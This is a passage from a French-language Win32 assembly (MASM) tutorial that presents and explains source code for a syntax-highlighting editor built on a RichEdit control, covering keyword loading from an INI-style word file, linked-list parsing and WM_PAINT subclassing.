            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C2Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,4
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C3Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,8
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C4Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,12
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C5Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,16
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C6Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,20
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C7Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,24
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C8Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,28
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C9Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,32
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C10Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,36
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
        invoke HeapFree,hMainHeap,0,pTemp
    .endif
    ret
FillHiliteInfo endp

NewRichEditProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL hdc:DWORD
    LOCAL hOldFont:DWORD
    LOCAL FirstChar:DWORD
    LOCAL rect:RECT
    LOCAL txtrange:TEXTRANGE
    LOCAL buffer[1024*10]:BYTE
    LOCAL hRgn:DWORD
    LOCAL hOldRgn:DWORD
    LOCAL RealRect:RECT
    LOCAL pString:DWORD
    LOCAL BufferSize:DWORD
    LOCAL pt:POINT
    .if uMsg==WM_PAINT
        push edi
        push esi
        invoke HideCaret,hWnd
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        push eax
        mov edi,offset ASMSyntaxArray
        invoke GetDC,hWnd
        mov hdc,eax
        invoke SetBkMode,hdc,TRANSPARENT
        invoke SendMessage,hWnd,EM_GETRECT,0,addr rect
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect
        invoke SendMessage,hWnd,EM_LINEFROMCHAR,eax,0
        invoke SendMessage,hWnd,EM_LINEINDEX,eax,0
        mov txtrange.chrg.cpMin,eax
        mov FirstChar,eax
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect.right
        mov txtrange.chrg.cpMax,eax
        push rect.left
        pop RealRect.left
        push rect.top
        pop RealRect.top
        push rect.right
        pop RealRect.right
        push rect.bottom
        pop RealRect.bottom
        invoke CreateRectRgn,RealRect.left,RealRect.top,RealRect.right,RealRect.bottom
        mov hRgn,eax
        invoke SelectObject,hdc,hRgn
        mov hOldRgn,eax
        invoke SetTextColor,hdc,CommentColor
        lea eax,buffer
        mov txtrange.lpstrText,eax
        invoke SendMessage,hWnd,EM_GETTEXTRANGE,0,addr txtrange
        .if eax>0
            mov esi,eax		; esi == size of the text
            mov BufferSize,eax
            push edi
            push ebx
            lea edi,buffer
            mov edx,edi		; used as the reference point
            mov ecx,esi
            mov al,";"
ScanMore:
            repne scasb
            je NextSkip
            jmp NoMoreHit
NextSkip:
            dec edi
            inc ecx
            mov pString,edi
            mov ebx,edi
            sub ebx,edx
            add ebx,FirstChar
            mov txtrange.chrg.cpMin,ebx
            push eax
            mov al,0Dh
            repne scasb
            pop eax
HiliteTheComment:
            .if ecx>0
                mov byte ptr [edi-1],0
            .endif
            mov ebx,edi
            sub ebx,edx
            add ebx,FirstChar
            mov txtrange.chrg.cpMax,ebx
            pushad
            mov edi,pString
            mov esi,txtrange.chrg.cpMax
            sub esi,txtrange.chrg.cpMin		; esi contains the length of the buffer
            mov eax,esi
            push edi
            .while eax>0
                .if byte ptr [edi]==9
                    mov byte ptr [edi],0
                .endif
                inc edi
                dec eax
            .endw
            pop edi
            .while esi>0
                .if byte ptr [edi]!=0
                    invoke lstrlen,edi
                    push eax
                    mov ecx,edi
                    lea edx,buffer
                    sub ecx,edx
                    add ecx,FirstChar
                    .if RichEditVersion==3
                        invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                    .else
                        invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                        mov ecx,eax
                        and ecx,0FFFFh
                        mov rect.left,ecx
                        shr eax,16
                        mov rect.top,eax
                    .endif
                    invoke DrawText,hdc,edi,-1,addr rect,0
                    pop eax
                    add edi,eax
                    sub esi,eax
                .else
                    inc edi
                    dec esi
                .endif
            .endw
            mov ecx,txtrange.chrg.cpMax
            sub ecx,txtrange.chrg.cpMin
            invoke RtlZeroMemory,pString,ecx
            popad
            .if ecx>0
                jmp ScanMore
            .endif
NoMoreHit:
            pop ebx
            pop edi
            mov ecx,BufferSize
            lea esi,buffer
            .while ecx>0
                mov al,byte ptr [esi]
                .if al==" " || al==0Dh || al=="/" || al=="," || al=="|" || al=="+" || al=="-" || al=="*" || al=="&" || al=="<" || al==">" || al=="=" || al=="(" || al==")" || al=="{" || al=="}" || al=="[" || al=="]" || al=="^" || al==":" || al==9
                    mov byte ptr [esi],0
                .endif
                dec ecx
                inc esi
            .endw
            lea esi,buffer
            mov ecx,BufferSize
            .while ecx>0
                mov al,byte ptr [esi]
                .if al!=0
                    push ecx
                    invoke lstrlen,esi
                    push eax
                    mov edx,eax		; edx contains the length of the string
                    movzx eax,byte ptr [esi]
                    .if al>="A" && al<="Z"
                        sub al,"A"
                        add al,"a"
                    .endif
                    shl eax,2
                    add eax,edi		; edi contains the pointer to the WORDINFO pointer array
                    .if dword ptr [eax]!=0
                        mov eax,dword ptr [eax]
                        assume eax:ptr WORDINFO
                        .while eax!=0
                            .if edx==[eax].WordLen
                                pushad
                                invoke lstrcmpi,[eax].pszWord,esi
                                .if eax==0
                                    popad
                                    mov ecx,esi
                                    lea edx,buffer
                                    sub ecx,edx
                                    add ecx,FirstChar
                                    pushad
                                    .if RichEditVersion==3
                                        invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                                    .else
                                        invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                                        mov ecx,eax
                                        and ecx,0FFFFh
                                        mov rect.left,ecx
                                        shr eax,16
                                        mov rect.top,eax
                                    .endif
                                    popad
                                    mov edx,[eax].pColor
                                    invoke SetTextColor,hdc,dword ptr [edx]
                                    invoke DrawText,hdc,esi,-1,addr rect,0
                                    .break
                                .endif
                                popad
                            .endif
                            push [eax].NextLink
                            pop eax
                        .endw
                    .endif
                    pop eax
                    pop ecx
                    add esi,eax
                    sub ecx,eax
                .else
                    inc esi
                    dec ecx
                .endif
            .endw
        .endif
        invoke SelectObject,hdc,hOldRgn
        invoke DeleteObject,hRgn
        invoke SelectObject,hdc,hOldFont
        invoke ReleaseDC,hWnd,hdc
        invoke ShowCaret,hWnd
        pop eax
        pop esi
        pop edi
        ret
    .elseif uMsg==WM_CLOSE
        invoke SetWindowLong,hWnd,GWL_WNDPROC,OldWndProc
    .else
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
NewRichEditProc endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    LOCAL hPopup:DWORD
    LOCAL pt:POINT
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        invoke SendMessage,hwndRichEdit,EM_SETTYPOGRAPHYOPTIONS,TO_SIMPLELINEBREAK,TO_SIMPLELINEBREAK
        invoke SendMessage,hwndRichEdit,EM_GETTYPOGRAPHYOPTIONS,1,1
        .if eax==0		; means this message is not processed
            mov RichEditVersion,2
        .else
            mov RichEditVersion,3
            invoke SendMessage,hwndRichEdit,EM_SETEDITSTYLE,SES_EMULATESYSEDIT,SES_EMULATESYSEDIT
        .endif
        invoke SetWindowLong,hwndRichEdit,GWL_WNDPROC, addr NewRichEditProc
        mov OldWndProc,eax
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_NOTIFY
        push esi
        mov esi,lParam
        assume esi:ptr NMHDR
        .if [esi].code==EN_MSGFILTER
            assume esi:ptr MSGFILTER
            .if [esi].msg==WM_RBUTTONDOWN
                invoke GetMenu,hWnd
                invoke GetSubMenu,eax,1
                mov hPopup,eax
                invoke PrepareEditMenu,hPopup
                mov edx,[esi].lParam
                mov ecx,edx
                and edx,0FFFFh
                shr ecx,16
                mov pt.x,edx
                mov pt.y,ecx
                invoke ClientToScreen,hWnd,addr pt
                invoke TrackPopupMenu,hPopup,TPM_LEFTALIGN or TPM_BOTTOMALIGN,pt.x,pt.y,NULL,hWnd,NULL
            .endif
        .endif
        pop esi
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit menu
            invoke PrepareEditMenu,wParam
        .elseif ax==2		; search menu bar
            .if FileOpened==TRUE
                invoke EnableMenuItem,wParam,IDM_FIND,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_FIND,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_GRAYED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; menu commands
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_FIND
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_FINDDLG,hWnd,addr SearchProc,0
                .endif
            .elseif ax==IDM_REPLACE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_REPLACEDLG,hWnd,addr ReplaceProc,0
                .endif
            .elseif ax==IDM_GOTOLINE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_GOTODLG,hWnd,addr GoToProc,0
                .endif
            .elseif ax==IDM_FINDNEXT
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov eax,findtext.chrg.cpMin
                    .if eax!=findtext.chrg.cpMax
                        push findtext.chrg.cpMax
                        pop findtext.chrg.cpMin
                    .endif
                    mov findtext.chrg.cpMax,-1
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_FINDPREV
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov findtext.chrg.cpMax,0
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,0,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

Analyse:

La première action avant l'appel de WinMain c'est d'appeler FillHiliteInfo. Cette fonction lit le contenu de wordfile.txt et fait l'analyse syntaxique du contenu.

FillHiliteInfo proc uses edi
    LOCAL buffer[1024]:BYTE
    LOCAL pTemp:DWORD
    LOCAL BlockSize:DWORD
    invoke RtlZeroMemory,addr ASMSyntaxArray,sizeof ASMSyntaxArray

Initialise la table ASMSyntaxArray à zero.

    invoke GetModuleFileName,hInstance,addr buffer,sizeof buffer
    invoke lstrlen,addr buffer
    mov ecx,eax
    dec ecx
    lea edi,buffer
    add edi,ecx
    std
    mov al,"\"
    repne scasb
    cld
    inc edi
    mov byte ptr [edi],0
    invoke lstrcat,addr buffer,addr WordFileName

On reconstruit la totalité du nom + chemin de wordfile.txt : Il vous faudra toujours placer ce fichier *.txt dans le même dossier que celui du programme.

    invoke GetFileAttributes,addr buffer
    .if eax!=-1

Je me sert de cette méthode comme solution rapide pour vérifier si un fichier existe.

        mov BlockSize,1024*10
        invoke HeapAlloc,hMainHeap,0,BlockSize
        mov pTemp,eax

On réserve un bloc de mémoire pour stocker les mots clés. 10 Ko par défaut. La mémoire est allouée par défaut par bloc.

@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C1Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0

J'utilise l'API GetPrivateProfileString pour retrouver chaque mot clef contenu dans le fichier wordfile.txt. Les mots clés sont stockés de C1 à C10.

            inc eax
            .if eax==BlockSize	; le buffer est trop petitl
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif

On vérifie si le bloc de mémoire est assez grand. Si ce n'est pas le cas, on incrémente la taille de 10Ko jusqu'à ce que ce bloc soit assez grand.

            mov edx,offset ASMColorArray
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray

On passe les mots, l'handle du bloc de mémoire, la taille des données lues dans wordfile.txt, et l'adresse du dword contenant la couleur qui sera employée pour colorer les mots ainsi que l'adresse de ASMSyntaxArray.

Maintenant, on va examiner ce que fait ParseBuffer. Pour l'essencielle, cette fonction accepte un buffer contenant les mots à colorer, fait l'analyse syntaxique de ceux-ci un par un et stocke chacun d'entre eux dans une structure WORDINFO laquelle peut avoir rapidement accès à ASMSyntaxArray.

ParseBuffer proc uses edi esi hHeap:DWORD,pBuffer:DWORD, nSize:DWORD, ArrayOffset:DWORD,pArray:DWORD
    LOCAL buffer[128]:BYTE
    LOCAL InProgress:DWORD
    mov InProgress,FALSE

InProgress est le Flag que j'emploie pour indiquer si le processus de scanérisation a commencé. Si sa valeur est FALSE, c'est que nous n'avons encore rencontré aucun caractère d'espace non-blanc (les autres caractères que espace et tab).

    lea esi,buffer
    mov edi,pBuffer
    invoke CharLower,edi

esi pointe sur notre buffer local qui contiendra le mot dont nous avons fait l'analyse syntaxique dans la liste de mots. edi pointe sur la chaîne de caractères représantant la liste de mots. Pour simplifier la recherche, on convertit tous les caractères en minuscule.

    mov ecx,nSize
SearchLoop:
    or ecx,ecx
    jz Finished
    cmp byte ptr [edi]," "
    je EndOfWord
    cmp byte ptr [edi],9 	; tab
    je EndOfWord

On scanne la liste de mots clefs en entier dans le buffer, cherchant les espaces blancs. Si un espace blanc est trouvé, on doit déterminer s'il marque la fin ou le commencement d'un mot.

    mov InProgress,TRUE
    mov al,byte ptr [edi]
    mov byte ptr [esi],al
    inc esi
SkipIt:
    inc edi
    dec ecx
    jmp SearchLoop

Si le byte examiné n'est pas un espace blanc, on le copie dans le buffer pour construire un mot et on reprend le scan.

EndOfWord:
    cmp InProgress,TRUE
    je WordFound
    jmp SkipIt

Si un espace blanc est trouvé, on vérifie la valeur de InProgress. Si la valeur est TRUE, on peut assurer que l'espace blanc marque la fin d'un mot et on peut alors placer le mot actuel dans le buffer local (pointé par esi) dans une structure WORDINFO. Si la valeur est FALSE, on continue le scan tant qu'un caractère non-blanc (espace/tab) ne soit trouvé.

WordFound:
    mov byte ptr [esi],0
    push ecx
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO

Quand la fin d'un mot est trouvée, nous ajoutons 0 au buffer pour en faire le mot de type chaîne de caractères ASCIIZ. On réserve alors un bloc de mémoire de la taille de WORDINFO pour ce mot.

    push esi
    mov esi,eax
    assume esi:ptr WORDINFO
    invoke lstrlen,addr buffer
    mov [esi].WordLen,eax

On obtient la longueur du mot dans le buffer local et on le stocke dans le membre WordLen de la structure WORDINFO, pour l'employer en tant que comparaison rapide.

    push ArrayOffset
    pop [esi].pColor

On stocke l'adresse du dword qui contient la couleur à employer pour colorer le mot dans le membre pColor.

    inc eax
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
    mov [esi].pszWord,eax
    mov edx,eax
    invoke lstrcpy,edx,addr buffer

On réserve le bloc de mémoire pour stocker le mot lui-même. Maintenant, la structure WORDINFO est prête pour être insérée dans la liste-liée appropriée.

    mov eax,pArray
    movzx edx,byte ptr [buffer]
    shl edx,2		; multiply by 4
    add eax,edx

pArray contient l'adresse de ASMSyntaxArray. On souhaite se déplacer sur le dword qui a le même index que la valeur du premier caractère du mot. Donc on met le premier caractère du mot dans edx et on le multiplie par 4 (parce que chaque élément de ASMSyntaxArray est d'une taille de 4 octets) puis on ajoute ensuite l'offset à l'adresse de ASMSyntaxArray. On a dans eax l'adresse du dword correspondant.

    .if dword ptr [eax]==0
        mov dword ptr [eax],esi
    .else
        push dword ptr [eax]
        pop [esi].NextLink
        mov dword ptr [eax],esi
    .endif

On vérifie la valeur du dword. Si c'est 0, ça signifie qu'il n'y a actuellement aucun mot qui commence par ce caractère dans la liste. On met alors l'adresse de la structure WORDINFO actuelle dans ce dword.

ISi la valeur dans le dword n'est pas 0, ça signifie il y a dans le tableau au moins un mot qui commence par ce caractère. On insert alors cette structure WORDINFO dans l'entête de la liste liée et on met à jour son membre NextLink pour pointeur sur la prochaine structure WORDINFO.

    pop esi
    pop ecx
    lea esi,buffer
    mov InProgress,FALSE
    jmp SkipIt

Après que l'opération ai été effectuée, on commence le cycle de scannerisation jusqu'à ce que la fin du buffer ai été atteinte.

        invoke SendMessage,hwndRichEdit,EM_SETTYPOGRAPHYOPTIONS,TO_SIMPLELINEBREAK,TO_SIMPLELINEBREAK
        invoke SendMessage,hwndRichEdit,EM_GETTYPOGRAPHYOPTIONS,1,1
        .if eax==0		; means this message is not processed
            mov RichEditVersion,2
        .else
            mov RichEditVersion,3
            invoke SendMessage,hwndRichEdit,EM_SETEDITSTYLE,SES_EMULATESYSEDIT,SES_EMULATESYSEDIT
        .endif

Après que le Richedit Control ait été créé, on a besoin de déterminer sa version. Cette étape est nécessaire puisque EM_POSFROMCHAR se comporte différemment entre RichEdit 2.0 et 3.0, et EM_POSFROMCHAR est crussial pour la routine de notre coloration syntaxique. Je n'ai jamais rencontré de procédé documenté pour vérifier la version du Richedit Control c'est pourquoi j'utilise un moyen détourné. Dans notre cas, j'utilise une option spécifique de la version 3.0 et retrouve immédiatement sa valeur. Si je peux retrouver cette valeur, alors je suis sûr que la version du Control est la 3.0.

Si vous employez la version 3.0 du RichEdit Control, vous remarquerez que la mise à jour de la couleur du texte d'un grand fichier prend un temps relativement long. Ce problème semble être spécifique à la version 3.0. J'ai trouvé une méthode détournée : la fabrication d'un Control qui imite le comportement de l'Edit Control System en envoyant le message EM_SETEDITSTYLE.

Après que nous ayons obtenus l'information sur la version en question, on continue en sous-classant le Richedit Control. On va maintenant examiner la nouvelle procédure de fenêtre du Richedit Control.

NewRichEditProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    ........
    .......
    .if uMsg==WM_PAINT
        push edi
        push esi
        invoke HideCaret,hWnd
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        push eax

On gère le message WM_PAINT. D'abord, on cache le Caret afin d'éviter d'avoir un gfx laid après la coloration. Après ça on passe le message à la procédure du Richedit Control originale pour le laisser mettre à jour la fenêtre. Quand CallWindowProc retourne, le texte est mis à jour avec sa couleur/fond habituelle. C'est justement l'occasion d'effectuer la coloration syntaxique.

        mov edi,offset ASMSyntaxArray
        invoke GetDC,hWnd
        mov hdc,eax
        invoke SetBkMode,hdc,TRANSPARENT

On stocke l'adresse de ASMSyntaxArray dans edi. Ensuite on recupère l'handle du contexte de périférique et on attribue au texte de fond le mode transparent de cette façon tout texte que nous écrirons par la suite emploiera la couleur de fond par défaut.

        invoke SendMessage,hWnd,EM_GETRECT,0,addr rect
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect
        invoke SendMessage,hWnd,EM_LINEFROMCHAR,eax,0
        invoke SendMessage,hWnd,EM_LINEINDEX,eax,0

On veut que le texte soit visible donc on doit d'abord retrouver le rectangle de formatage (la zone qui subit le formatage) en envoyant le message EM_GETRECT du Richedit Control. Maintenant qu'on a les limites du rectangle, on obtient l'index du caractère du coin supérieur gauche du rectangle grâce au message EM_CHARFROMPOS. Une fois qu' on a cet index (le premier caractère visible dans le Control), on peut commencer à utiliser la coloration syntaxique en partant de cette position. Cependant l'effet ne peut pas être d'aussi bonne qualité que si nous avions commencer au premier caractère de la ligne dans laquelle le caractère se trouve. C'est pourquoi j'ai besoin d'obtenir le numéro de ligne du premier caractère visible en envoyant le message EM_LINEFROMCHAR. Pour obtenir l'index du premier caractère de cette ligne, j'envoie le message EM_LINEINDEX.

        mov txtrange.chrg.cpMin,eax
        mov FirstChar,eax
